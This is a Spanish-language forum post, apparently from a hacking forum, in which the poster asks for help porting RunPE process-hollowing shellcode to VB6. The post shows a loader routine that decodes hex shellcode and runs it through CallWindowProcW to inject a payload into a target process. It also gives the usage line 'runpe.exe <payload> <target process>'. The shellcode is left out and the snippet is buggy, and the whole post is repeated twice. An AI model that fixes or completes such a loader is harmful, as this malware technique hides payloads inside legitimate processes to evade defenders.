process hollowing
Publicado: 17 Nov 2023, 14:59
[Enlace externo eliminado para invitados] - runpe
HOLA, extraje el código shell de este runpe, luego intenté implementarlo en vb6, el código se ve así. aunque no hay ningún error de compilación al ejecutar el archivo ejecutable Recibo 'Werefault" Sospecho que el problema está en este orden.
"CallWindowProcW VarPtr(shellcode(0)), VarPtr(payload(0)), StrPtr(path), 0, 0"
y en particular
"CallWindowProcW VarPtr(shellcode(0))"
Creo que debería decir desde qué byte comenzar a ejecutar el runpe pero no tengo idea. ¿Alguna idea? creo que no es "0"
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Sub RunPE(ByVal payload() As Byte, ByVal path As String)
Dim ShellCode As String
shellcode = "shellcode...................
.............."
Dim byteArray() As Byte
ReDim byteArray((Len(ShellCode) \ 2) - 1) ' leer los bytes
For i = 1 To Len(ShellCode) Step 2
byteArray(k) = CByte("&H" & Mid$(ShellCode, i, 2)) k = k + 1
Next i
CallWindowProcW VarPtr(shellcode(0)), VarPtr(payload(0)), StrPtr(path), 0, 0
End Sub
así es como se usa
runpe.exe <payload> <target process>
HOLA, extraje el código shell de este runpe, luego intenté implementarlo en vb6, el código se ve así. aunque no hay ningún error de compilación al ejecutar el archivo ejecutable Recibo 'Werefault" Sospecho que el problema está en este orden.
"CallWindowProcW VarPtr(shellcode(0)), VarPtr(payload(0)), StrPtr(path), 0, 0"
y en particular
"CallWindowProcW VarPtr(shellcode(0))"
Creo que debería decir desde qué byte comenzar a ejecutar el runpe pero no tengo idea. ¿Alguna idea? creo que no es "0"
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Sub RunPE(ByVal payload() As Byte, ByVal path As String)
Dim ShellCode As String
shellcode = "shellcode...................
.............."
Dim byteArray() As Byte
ReDim byteArray((Len(ShellCode) \ 2) - 1) ' leer los bytes
For i = 1 To Len(ShellCode) Step 2
byteArray(k) = CByte("&H" & Mid$(ShellCode, i, 2)) k = k + 1
Next i
CallWindowProcW VarPtr(shellcode(0)), VarPtr(payload(0)), StrPtr(path), 0, 0
End Sub
así es como se usa
runpe.exe <payload> <target process>